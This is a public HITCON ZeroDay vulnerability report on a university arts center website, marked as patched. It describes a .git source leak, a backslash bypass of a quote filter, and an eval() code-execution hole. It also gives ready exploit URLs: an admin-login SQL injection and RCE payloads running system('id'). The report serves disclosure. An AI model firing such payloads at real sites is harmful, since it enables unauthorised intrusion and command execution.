Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00306
- Vendor: 國立交通大學
- Title: 國立交通大學文藝中心 網站 多個弱點 .git洩漏 SQLi RCE
- Introduction: .git洩漏 SQLi RCE
處理狀態
目前狀態
公開
Last Update : 2020/07/29
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2020/05/29 18:00:09 : 新提交 (由 FI 更新此狀態)
- 2020/05/31 22:20:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/06/01 17:03:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/06/01 17:03:42 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/06/01 17:03:42 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/21 14:16:19 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/07/22 01:05:16 : 未修補完成 (由 FI 更新此狀態)
- 2020/07/23 09:06:13 : 已修補 (由 組織帳號 更新此狀態)
- 2020/07/29 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00306
- 通報者:fi_2642 (FI)
- 風險:高
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://acc.nctu.edu.tw/.git/HEAD
https://acc.nctu.edu.tw/admin/index.php
https://acc.nctu.edu.tw/previewAuthor.php
https://acc.nctu.edu.tw/admin/index.php
https://acc.nctu.edu.tw/previewAuthor.php
敘述
.git洩漏
可以透過 .git 下的檔案還原出全站原始碼,導致原始碼洩漏
code review後發現
SQLi
雖然輸入有做FilterStr 不過其中 str_replace("'", "''", $source) 可以透過輸入 \' 來解決
在/admin/index.php中
https://acc.nctu.edu.tw/admin/index.php?btnSend=1&txtPwd=1&txtUid=\' union select 1,1,1,1,0%23
可以登入後台
RCE
在previewAuthor.php中
同時要是合法的sql
$sql = "select " .$img. " From ProgramSch where sNo ='" .$sNo. "'" ;
也要是合法的 php
$str = "\$cImg = \$row->".$img.";";
eval($str);
就可以eval
提供兩個payload
https://acc.nctu.edu.tw/previewAuthor.php?pic=img01/*!from ProgramSch union select `id`*/./*!img01 from ProgramSch*/`id`%23?>&sNo=1
https://acc.nctu.edu.tw/previewAuthor.php?pic={system("id")}%23?>&sNo=1
#由 Cyku 提供
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。